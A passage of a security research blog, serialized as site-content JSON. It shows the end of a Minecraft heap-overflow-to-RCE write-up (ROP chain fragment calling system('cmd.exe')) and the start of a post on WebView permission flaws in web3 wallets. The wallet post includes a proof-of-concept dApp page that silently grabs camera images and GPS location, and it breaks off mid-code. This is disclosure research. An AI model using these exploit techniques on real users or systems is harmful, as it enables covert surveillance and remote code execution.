`system(\"cmd.exe\")`\n",{"type":23,"tag":75,"props":166728,"children":166729},{"class":77,"line":3390},[166730],{"type":23,"tag":75,"props":166731,"children":166732},{"style":94},[166733],{"type":29,"value":166499},{"type":23,"tag":75,"props":166735,"children":166736},{"class":77,"line":3423},[166737,166741,166745,166750,166754],{"type":23,"tag":75,"props":166738,"children":166739},{"style":94},[166740],{"type":29,"value":166507},{"type":23,"tag":75,"props":166742,"children":166743},{"style":82},[166744],{"type":29,"value":166512},{"type":23,"tag":75,"props":166746,"children":166747},{"style":237},[166748],{"type":29,"value":166749},"7468DB8",{"type":23,"tag":75,"props":166751,"children":166752},{"style":94},[166753],{"type":29,"value":167},{"type":23,"tag":75,"props":166755,"children":166756},{"style":3621},[166757],{"type":29,"value":166758},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":75,"props":166760,"children":166761},{"class":77,"line":3436},[166762,166766],{"type":23,"tag":75,"props":166763,"children":166764},{"style":94},[166765],{"type":29,"value":166534},{"type":23,"tag":75,"props":166767,"children":166768},{"style":3621},[166769],{"type":29,"value":166539},{"type":23,"tag":75,"props":166771,"children":166772},{"class":77,"line":3449},[166773,166777],{"type":23,"tag":75,"props":166774,"children":166775},{"style":94},[166776],{"type":29,"value":166547},{"type":23,"tag":75,"props":166778,"children":166779},{"style":3621},[166780],{"type":29,"value":166781},"# calls `system`\n",{"type":23,"tag":75,"props":166783,"children":166784},{"class":77,"line":3457},[166785,166789,166793,166798,166803,166807],{"type":23,"tag":75,"props":166786,"children":166787},{"style":94},[166788],{"type":29,"value":166560},{"type":23,"tag":75,"props":166790,"children":166791},{"style":82},[166792],{"type":29,"value":14507},{"type":23,"tag":75,"props":166794,"children":166795},{"style":1266},[166796],{"type":29,"value":166797},"\"cmd.exe",{"type":23,"tag":75,"props":166799,"children":166800},{"style":11688},[166801],{"type":29,"value":166802},"\\x00",{"type":23,"tag":75,"props":166804,"children":166805},{"style":1266},[166806],{"type":29,"value":31282},{"type":23,"tag":75,"props":166808,"children":166809},{"style":94},[166810],{"type":29,"value":702},{"type":23,"tag":923,"props":166812,"children":166814},{"id":166813},"demo",[166815],{"type":29,"value":166816},"Demo",{"type":23,"tag":32,"props":166818,"children":166819},{},[166820],{"type":29,"value":166821},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":142193,"props":166823,"children":166826},{"className":166824,"controls":15},[152160,166825],"blog-video-wide",[166827,166828,166832],{"type":29,"value":152163},{"type":23,"tag":151399,"props":166829,"children":166831},{"src":166830,"type":142191},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":152169},{"type":23,"tag":24,"props":166834,"children":166835},{"id":14115},[166836],{"type":29,"value":14118},{"type":23,"tag":32,"props":166838,"children":166839},{},[166840],{"type":29,"value":166841},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":32,"props":166843,"children":166844},{},[166845],{"type":29,"value":166846},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":32,"props":166848,"children":166849},{},[166850],{"type":29,"value":166851},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":14130,"props":166853,"children":166854},{},[166855],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":166857},[166858,166862,166867,166878],{"id":157518,"depth":100,"text":157521,"children":166859},[166860,166861],{"id":157553,"depth":121,"text":157556},{"id":157569,"depth":121,"text":157572},{"id":157590,"depth":100,"text":157593,"children":166863},[166864,166865,166866],{"id":157606,"depth":121,"text":157609},{"id":157694,"depth":121,"text":157697},{"id":159994,"depth":121,"text":159997},{"id":16691,"depth":100,"text":16694,"children":166868},[166869,166870,166871,166872,166873,166874,166875,166876,166877],{"id":160101,"depth":121,"text":160104},{"id":160126,"depth":121,"text":160129},{"id":160263,"depth":121,"text":160266},{"id":162427,"depth":121,"text":162430},{"id":162789,"depth":121,"text":162792},{"id":163609,"depth":121,"text":163612},{"id":165723,"depth":121,"text":165726},{"id":166341,"depth":121,"text":166344},{"id":166813,"depth":121,"text":166816},{"id":14115,"depth":100,"text":14118},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":166883,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":166884,"description":166885,"date":166886,"author":166887,"image":166889,"isFeatured":15,"onBlogPage":15,"tags":166891,"body":166893,"_type":14157,"_id":169216,"_source":14159,"_file":169217,"_stem":169218,"_extension":14162},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[42397,42396,166888],"nikolaos",{"src":166890,"width":107603,"height":14},"/posts/insecure-webview-integrations/title.png",[43336,142299,166892],"webview",{"type":20,"children":166894,"toc":169203},[166895,166900,166905,166911,166916,166921,166926,166932,166937,166943,166965,166978,166998,167012,167018,167032,167040,167045,167051,167056,167065,167086,167230,167235,167241,167246,167251,167265,167269,167274,167292,168720,168724,168729,168741,168750,168755,168761,168783,168791,168796,168802,168807,168825,168830,168836,168849,169131,169159,169172,169177,169190,169194,169199],{"type":23,"tag":32,"props":166896,"children":166897},{},[166898],{"type":29,"value":166899},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":32,"props":166901,"children":166902},{},[166903],{"type":29,"value":166904},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":46567,"props":166906,"children":166908},{"id":166907},"exploiting-mobile-webviews",[166909],{"type":29,"value":166910},"Exploiting Mobile WebViews",{"type":23,"tag":32,"props":166912,"children":166913},{},[166914],{"type":29,"value":166915},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":32,"props":166917,"children":166918},{},[166919],{"type":29,"value":166920},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":32,"props":166922,"children":166923},{},[166924],{"type":29,"value":166925},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":24,"props":166927,"children":166929},{"id":166928},"handling-webview-permissions",[166930],{"type":29,"value":166931},"Handling WebView permissions",{"type":23,"tag":32,"props":166933,"children":166934},{},[166935],{"type":29,"value":166936},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":923,"props":166938,"children":166940},{"id":166939},"android",[166941],{"type":29,"value":166942},"Android",{"type":23,"tag":32,"props":166944,"children":166945},{},[166946,166948,166955,166957,166963],{"type":29,"value":166947},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":940,"props":166949,"children":166952},{"href":166950,"rel":166951},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[944],[166953],{"type":29,"value":166954},"onPermissionRequest",{"type":29,"value":166956},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":71,"props":166958,"children":166960},{"className":166959},[],[166961],{"type":29,"value":166962},"PermissionRequest",{"type":29,"value":166964}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":1829,"props":166966,"children":166967},{},[166968],{"type":23,"tag":32,"props":166969,"children":166970},{},[166971,166973,166976],{"type":29,"value":166972},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":75,"props":166974,"children":166975},{},[],{"type":29,"value":166977},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":32,"props":166979,"children":166980},{},[166981,166983,166989,166991,166997],{"type":29,"value":166982},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":71,"props":166984,"children":166986},{"className":166985},[],[166987],{"type":29,"value":166988},"getOrigin()",{"type":29,"value":166990}," and the requested permissions with ",{"type":23,"tag":71,"props":166992,"children":166994},{"className":166993},[],[166995],{"type":29,"value":166996},"getResources()",{"type":29,"value":557},{"type":23,"tag":32,"props":166999,"children":167000},{},[167001,167003,167010],{"type":29,"value":167002},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":940,"props":167004,"children":167007},{"href":167005,"rel":167006},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[944],[167008],{"type":29,"value":167009},"webview_shell",{"type":29,"value":167011},". In this instance, no origin checks are performed.",{"type":23,"tag":923,"props":167013,"children":167015},{"id":167014},"ios",[167016],{"type":29,"value":167017},"iOS",{"type":23,"tag":32,"props":167019,"children":167020},{},[167021,167023,167030],{"type":29,"value":167022},"On the contrary, iOS ",{"type":23,"tag":940,"props":167024,"children":167027},{"href":167025,"rel":167026},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[944],[167028],{"type":29,"value":167029},"documentation",{"type":29,"value":167031}," states that:",{"type":23,"tag":1829,"props":167033,"children":167034},{},[167035],{"type":23,"tag":32,"props":167036,"children":167037},{},[167038],{"type":29,"value":167039},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":32,"props":167041,"children":167042},{},[167043],{"type":29,"value":167044},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":24,"props":167046,"children":167048},{"id":167047},"the-shortcomings-of-webview-implementations",[167049],{"type":29,"value":167050},"The shortcomings of WebView implementations",{"type":23,"tag":32,"props":167052,"children":167053},{},[167054],{"type":29,"value":167055},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":42542,"props":167057,"children":167058},{"style":42544},[167059],{"type":23,"tag":15189,"props":167060,"children":167064},{"src":167061,"alt":167062,"style":167063},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":167066,"children":167067},{},[167068,167070,167076,167078,167084],{"type":29,"value":167069},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":71,"props":167071,"children":167073},{"className":167072},[],[167074],{"type":29,"value":167075},"react-native-webview",{"type":29,"value":167077},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":940,"props":167079,"children":167082},{"href":167080,"rel":167081},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[944],[167083],{"type":29,"value":166954},{"type":29,"value":167085}," method, we see a similar pattern.",{"type":23,"tag":64,"props":167087,"children":167091},{"className":167088,"code":167089,"language":167090,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[167092],{"type":23,"tag":71,"props":167093,"children":167094},{"__ignoreMap":7},[167095,167103,167132,167192,167212,167223],{"type":23,"tag":75,"props":167096,"children":167097},{"class":77,"line":78},[167098],{"type":23,"tag":75,"props":167099,"children":167100},{"style":3621},[167101],{"type":29,"value":167102},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":75,"props":167104,"children":167105},{"class":77,"line":100},[167106,167110,167114,167119,167123,167128],{"type":23,"tag":75,"props":167107,"children":167108},{"style":175},[167109],{"type":29,"value":26807},{"type":23,"tag":75,"props":167111,"children":167112},{"style":94},[167113],{"type":29,"value":183},{"type":23,"tag":75,"props":167115,"children":167116},{"style":110},[167117],{"type":29,"value":167118},"requestedAndroidPermissions",{"type":23,"tag":75,"props":167120,"children":167121},{"style":94},[167122],{"type":29,"value":557},{"type":23,"tag":75,"props":167124,"children":167125},{"style":88},[167126],{"type":29,"value":167127},"isEmpty",{"type":23,"tag":75,"props":167129,"children":167130},{"style":94},[167131],{"type":29,"value":102356},{"type":23,"tag":75,"props":167133,"children":167134},{"class":77,"line":121},[167135,167140,167144,167149,167153,167158,167162,167167,167171,167175,167180,167184,167188],{"type":23,"tag":75,"props":167136,"children":167137},{"style":110},[167138],{"type":29,"value":167139},"    request",{"type":23,"tag":75,"props":167141,"children":167142},{"style":94},[167143],{"type":29,"value":557},{"type":23,"tag":75,"props":167145,"children":167146},{"style":88},[167147],{"type":29,"value":167148},"grant",{"type":23,"tag":75,"props":167150,"children":167151},{"style":94},[167152],{"type":29,"value":643},{"type":23,"tag":75,"props":167154,"children":167155},{"style":110},[167156],{"type":29,"value":167157},"grantedPermissions",{"type":23,"tag":75,"props":167159,"children":167160},{"style":94},[167161],{"type":29,"value":557},{"type":23,"tag":75,"props":167163,"children":167164},{"style":88},[167165],{"type":29,"value":167166},"toArray",{"type":23,"tag":75,"props":167168,"children":167169},{"style":94},[167170],{"type":29,"value":643},{"type":23,"tag":75,"props":167172,"children":167173},{"style":175},[167174],{"type":29,"value":26353},{"type":23,"tag":75,"props":167176,"children":167177},{"style":104},[167178],{"type":29,"value":167179}," String",{"type":23,"tag":75,"props":167181,"children":167182},{"style":94},[167183],{"type":29,"value":814},{"type":23,"tag":75,"props":167185,"children":167186},{"style":237},[167187],{"type":29,"value":648},{"type":23,"tag":75,"props":167189,"children":167190},{"style":94},[167191],{"type":29,"value":113847},{"type":23,"tag":75,"props":167193,"children":167194},{"class":77,"line":138},[167195,167200,167204,167208],{"type":23,"tag":75,"props":167196,"children":167197},{"style":94},[167198],{"type":29,"value":167199},"    grantedPermissions ",{"type":23,"tag":75,"props":167201,"children":167202},{"style":209},[167203],{"type":29,"value":212},{"type":23,"tag":75,"props":167205,"children":167206},{"style":82},[167207],{"type":29,"value":81441},{"type":23,"tag":75,"props":167209,"children":167210},{"style":94},[167211],{"type":29,"value":245},{"type":23,"tag":75,"props":167213,"children":167214},{"class":77,"line":161},[167215,167219],{"type":23,"tag":75,"props":167216,"children":167217},{"style":175},[167218],{"type":29,"value":355},{"type":23,"tag":75,"props":167220,"children":167221},{"style":94},[167222],{"type":29,"value":245},{"type":23,"tag":75,"props":167224,"children":167225},{"class":77,"line":196},[167226],{"type":23,"tag":75,"props":167227,"children":167228},{"style":94},[167229],{"type":29,"value":369},{"type":23,"tag":32,"props":167231,"children":167232},{},[167233],{"type":29,"value":167234},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":923,"props":167236,"children":167238},{"id":167237},"real-world-exploitation",[167239],{"type":29,"value":167240},"Real world exploitation",{"type":23,"tag":32,"props":167242,"children":167243},{},[167244],{"type":29,"value":167245},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":32,"props":167247,"children":167248},{},[167249],{"type":29,"value":167250},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":32,"props":167252,"children":167253},{},[167254,167256,167263],{"type":29,"value":167255},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":940,"props":167257,"children":167260},{"href":167258,"rel":167259},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[944],[167261],{"type":29,"value":167262},"Justson",{"type":29,"value":167264},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":30116,"props":167266,"children":167267},{"id":50694},[167268],{"type":29,"value":46023},{"type":23,"tag":32,"props":167270,"children":167271},{},[167272],{"type":29,"value":167273},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":2797,"props":167275,"children":167276},{},[167277,167282,167287],{"type":23,"tag":2801,"props":167278,"children":167279},{},[167280],{"type":29,"value":167281},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":2801,"props":167283,"children":167284},{},[167285],{"type":29,"value":167286},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":2801,"props":167288,"children":167289},{},[167290],{"type":29,"value":167291},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":64,"props":167293,"children":167295},{"className":61207,"code":167294,"language":43576,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[167296],{"type":23,"tag":71,"props":167297,"children":167298},{"__ignoreMap":7},[167299,167319,167334,167350,167380,167403,167418,167433,167465,167511,167547,167575,167590,167636,167682,167690,167758,167786,167801,167809,167816,167836,167896,167937,167966,168007,168014,168043,168081,168118,168125,168132,168165,168186,168193,168255,168311,168347,168393,168401,168408,168451,168484,168609,168642,168649,168656,168663,168675,168690,168705],{"type":23,"tag":75,"props":167300,"children":167301},{"class":77,"line":78},[167302,167306,167310,167315],{"type":23,"tag":75,"props":167303,"children":167304},{"style":43569},[167305],{"type":29,"value":45419},{"type":23,"tag":75,"props":167307,"children":167308},{"style":82},[167309],{"type":29,"value":45424},{"type":23,"tag":75,"props":167311,"children":167312},{"style":110},[167313],{"type":29,"value":167314}," html",{"type":23,"tag":75,"props":167316,"children":167317},{"style":43569},[167318],{"type":29,"value":17260},{"type":23,"tag":75,"props":167320,"children":167321},{"class":77,"line":100},[167322,167326,167330],{"type":23,"tag":75,"props":167323,"children":167324},{"style":43569},[167325],{"type":29,"value":295},{"type":23,"tag":75,"props":167327,"children":167328},{"style":82},[167329],{"type":29,"value":43576},{"type":23,"tag":75,"props":167331,"children":167332},{"style":43569},[167333],{"type":29,"value":17260},{"type":23,"tag":75,"props":167335,"children":167336},{"class":77,"line":121},[167337,167341,167346],{"type":23,"tag":75,"props":167338,"children":167339},{"style":43569},[167340],{"type":29,"value":295},{"type":23,"tag":75,"props":167342,"children":167343},{"style":82},[167344],{"type":29,"value":167345},"head",{"type":23,"tag":75,"props":167347,"children":167348},{"style":43569},[167349],{"type":29,"value":17260},{"type":23,"tag":75,"props":167351,"children":167352},{"class":77,"line":138},[167353,167357,167362,167367,167371,167376],{"type":23,"tag":75,"props":167354,"children":167355},{"style":43569},[167356],{"type":29,"value":43639},{"type":23,"tag":75,"props":167358,"children":167359},{"style":82},[167360],{"type":29,"value":167361},"meta",{"type":23,"tag":75,"props":167363,"children":167364},{"style":110},[167365],{"type":29,"value":167366}," charset",{"type":23,"tag":75,"props":167368,"children":167369},{"style":94},[167370],{"type":29,"value":212},{"type":23,"tag":75,"props":167372,"children":167373},{"style":1266},[167374],{"type":29,"value":167375},"\"utf-8\"",{"type":23,"tag":75,"props":167377,"children":167378},{"style":43569},[167379],{"type":29,"value":17260},{"type":23,"tag":75,"props":167381,"children":167382},{"class":77,"line":161},[167383,167387,167391,167395,167399],{"type":23,"tag":75,"props":167384,"children":167385},{"style":43569},[167386],{"type":29,"value":43639},{"type":23,"tag":75,"props":167388,"children":167389},{"style":82},[167390],{"type":29,"value":45497},{"type":23,"tag":75,"props":167392,"children":167393},{"style":43569},[167394],{"type":29,"value":61251},{"type":23,"tag":75,"props":167396,"children":167397},{"style":82},[167398],{"type":29,"value":45497},{"type":23,"tag":75,"props":167400,"children":167401},{"style":43569},[167402],{"type":29,"value":17260},{"type":23,"tag":75,"props":167404,"children":167405},{"class":77,"line":196},[167406,167410,167414],{"type":23,"tag":75,"props":167407,"children":167408},{"style":43569},[167409],{"type":29,"value":43623},{"type":23,"tag":75,"props":167411,"children":167412},{"style":82},[167413],{"type":29,"value":167345},{"type":23,"tag":75,"props":167415,"children":167416},{"style":43569},[167417],{"type":29,"value":17260},{"type":23,"tag":75,"props":167419,"children":167420},{"class":77,"line":220},[167421,167425,167429],{"type":23,"tag":75,"props":167422,"children":167423},{"style":43569},[167424],{"type":29,"value":295},{"type":23,"tag":75,"props":167426,"children":167427},{"style":82},[167428],{"type":29,"value":43593},{"type":23,"tag":75,"props":167430,"children":167431},{"style":43569},[167432],{"type":29,"value":17260},{"type":23,"tag":75,"props":167434,"children":167435},{"class":77,"line":248},[167436,167440,167444,167448,167453,167457,167461],{"type":23,"tag":75,"props":167437,"children":167438},{"style":43569},[167439],{"type":29,"value":43639},{"type":23,"tag":75,"props":167441,"children":167442},{"style":82},[167443],{"type":29,"value":24},{"type":23,"tag":75,"props":167445,"children":167446},{"style":43569},[167447],{"type":29,"value":4652},{"type":23,"tag":75,"props":167449,"children":167450},{"style":94},[167451],{"type":29,"value":167452},"Smile dApp :)",{"type":23,"tag":75,"props":167454,"children":167455},{"style":43569},[167456],{"type":29,"value":43623},{"type":23,"tag":75,"props":167458,"children":167459},{"style":82},[167460],{"type":29,"value":24},{"type":23,"tag":75,"props":167462,"children":167463},{"style":43569},[167464],{"type":29,"value":17260},{"type":23,"tag":75,"props":167466,"children":167467},{"class":77,"line":270},[167468,167472,167477,167481,167485,167490,167494,167499,167503,167507],{"type":23,"tag":75,"props":167469,"children":167470},{"style":43569},[167471],{"type":29,"value":43639},{"type":23,"tag":75,"props":167473,"children":167474},{"style":82},[167475],{"type":29,"value":167476},"button",{"type":23,"tag":75,"props":167478,"children":167479},{"style":110},[167480],{"type":29,"value":43649},{"type":23,"tag":75,"props":167482,"children":167483},{"style":94},[167484],{"type":29,"value":212},{"type":23,"tag":75,"props":167486,"children":167487},{"style":1266},[167488],{"type":29,"value":167489},"\"connect\"",{"type":23,"tag":75,"props":167491,"children":167492},{"style":43569},[167493],{"type":29,"value":4652},{"type":23,"tag":75,"props":167495,"children":167496},{"style":94},[167497],{"type":29,"value":167498},"Connect your wallet!",{"type":23,"tag":75,"props":167500,"children":167501},{"style":43569},[167502],{"type":29,"value":43623},{"type":23,"tag":75,"props":167504,"children":167505},{"style":82},[167506],{"type":29,"value":167476},{"type":23,"tag":75,"props":167508,"children":167509},{"style":43569},[167510],{"type":29,"value":17260},{"type":23,"tag":75,"props":167512,"children":167513},{"class":77,"line":279},[167514,167518,167522,167526,167530,167535,167539,167543],{"type":23,"tag":75,"props":167515,"children":167516},{"style":43569},[167517],{"type":29,"value":43639},{"type":23,"tag":75,"props":167519,"children":167520},{"style":82},[167521],{"type":29,"value":64},{"type":23,"tag":75,"props":167523,"children":167524},{"style":110},[167525],{"type":29,"value":43649},{"type":23,"tag":75,"props":167527,"children":167528},{"style":94},[167529],{"type":29,"value":212},{"type":23,"tag":75,"props":167531,"children":167532},{"style":1266},[167533],{"type":29,"value":167534},"\"gps\"",{"type":23,"tag":75,"props":167536,"children":167537},{"style":43569},[167538],{"type":29,"value":61251},{"type":23,"tag":75,"props":167540,"children":167541},{"style":82},[167542],{"type":29,"value":64},{"type":23,"tag":75,"props":167544,"children":167545},{"style":43569},[167546],{"type":29,"value":17260},{"type":23,"tag":75,"props":167548,"children":167549},{"class":77,"line":303},[167550,167554,167558,167562,167566,167571],{"type":23,"tag":75,"props":167551,"children":167552},{"style":43569},[167553],{"type":29,"value":43639},{"type":23,"tag":75,"props":167555,"children":167556},{"style":82},[167557],{"type":29,"value":15189},{"type":23,"tag":75,"props":167559,"children":167560},{"style":110},[167561],{"type":29,"value":43649},{"type":23,"tag":75,"props":167563,"children":167564},{"style":94},[167565],{"type":29,"value":212},{"type":23,"tag":75,"props":167567,"children":167568},{"style":1266},[167569],{"type":29,"value":167570},"\"pic\"",{"type":23,"tag":75,"props":167572,"children":167573},{"style":43569},[167574],{"type":29,"value":17260},{"type":23,"tag":75,"props":167576,"children":167577},{"class":77,"line":322},[167578,167582,167586],{"type":23,"tag":75,"props":167579,"children":167580},{"style":43569},[167581],{"type":29,"value":43639},{"type":23,"tag":75,"props":167583,"children":167584},{"style":82},[167585],{"type":29,"value":43609},{"type":23,"tag":75,"props":167587,"children":167588},{"style":43569},[167589],{"type":29,"value":17260},{"type":23,"tag":75,"props":167591,"children":167592},{"class":77,"line":340},[167593,167598,167602,167607,167611,167616,167620,167624,167628,167632],{"type":23,"tag":75,"props":167594,"children":167595},{"style":110},[167596],{"type":29,"value":167597},"        window",{"type":23,"tag":75,"props":167599,"children":167600},{"style":209},[167601],{"type":29,"value":557},{"type":23,"tag":75,"props":167603,"children":167604},{"style":88},[167605],{"type":29,"value":167606},"addEventListener",{"type":23,"tag":75,"props":167608,"children":167609},{"style":209},[167610],{"type":29,"value":643},{"type":23,"tag":75,"props":167612,"children":167613},{"style":1266},[167614],{"type":29,"value":167615},"'unhandledrejection'",{"type":23,"tag":75,"props":167617,"children":167618},{"style":209},[167619],{"type":29,"value":611},{"type":23,"tag":75,"props":167621,"children":167622},{"style":82},[167623],{"type":29,"value":85},{"type":23,"tag":75,"props":167625,"children":167626},{"style":209},[167627],{"type":29,"value":183},{"type":23,"tag":75,"props":167629,"children":167630},{"style":110},[167631],{"type":29,"value":6498},{"type":23,"tag":75,"props":167633,"children":167634},{"style":209},[167635],{"type":29,"value":193},{"type":23,"tag":75,"props":167637,"children":167638},{"class":77,"line":349},[167639,167644,167648,167653,167657,167661,167665,167670,167674,167678],{"type":23,"tag":75,"props":167640,"children":167641},{"style":88},[167642],{"type":29,"value":167643},"            alert",{"type":23,"tag":75,"props":167645,"children":167646},{"style":209},[167647],{"type":29,"value":643},{"type":23,"tag":75,"props":167649,"children":167650},{"style":1266},[167651],{"type":29,"value":167652},"`Unhandled Promise Rejection: ",{"type":23,"tag":75,"props":167654,"children":167655},{"style":82},[167656],{"type":29,"value":45302},{"type":23,"tag":75,"props":167658,"children":167659},{"style":110},[167660],{"type":29,"value":6498},{"type":23,"tag":75,"props":167662,"children":167663},{"style":209},[167664],{"type":29,"value":557},{"type":23,"tag":75,"props":167666,"children":167667},{"style":110},[167668],{"type":29,"value":167669},"reason",{"type":23,"tag":75,"props":167671,"children":167672},{"style":82},[167673],{"type":29,"value":45334},{"type":23,"tag":75,"props":167675,"children":167676},{"style":1266},[167677],{"type":29,"value":21630},{"type":23,"tag":75,"props":167679,"children":167680},{"style":209},[167681],{"type":29,"value":15099},{"type":23,"tag":75,"props":167683,"children":167684},{"class":77,"line":363},[167685],{"type":23,"tag":75,"props":167686,"children":167687},{"style":209},[167688],{"type":29,"value":167689},"        